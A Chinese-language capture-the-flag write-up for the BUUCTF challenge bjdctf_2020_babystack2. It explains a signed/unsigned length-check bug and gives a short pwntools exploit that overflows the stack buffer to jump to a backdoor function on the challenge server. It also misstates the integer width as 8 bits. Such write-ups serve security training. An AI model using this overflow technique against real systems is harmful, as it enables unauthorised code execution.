BUUCTF-PWN-bjdctf_2020_babystack2

checksec

image-20220128102647381

IDA

image-20220128102854382

有两个输入点,先输入nbytes,如果nbytes不大于10,那么可以输入buf,但buf的长度由nbytes大小决定

这题的知识点在于nbytes前后的数据类型是不同的,两个都是8位,但signed int的第一位代表正负,而unsigned int不带符号,所以可以利用这个漏洞,将可输入长度扩大到可以利用的范围,如下图:

image-20220128105338863

80000010在signed int中是个负数,但在unsigned int中等于十进制的2147483664,足够我们进行溢出

此外,我们还发现一个后门函数:

image-20220128105619788

EXP

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('node4.buuoj.cn', 28327)

payload = b'a' * (0x10 + 0x8) + p64(0x400726)

p.sendlineafter('name:\n', '2147483664')
p.sendlineafter('name?\n', payload)
p.interactive()

结果

image-20220128105729135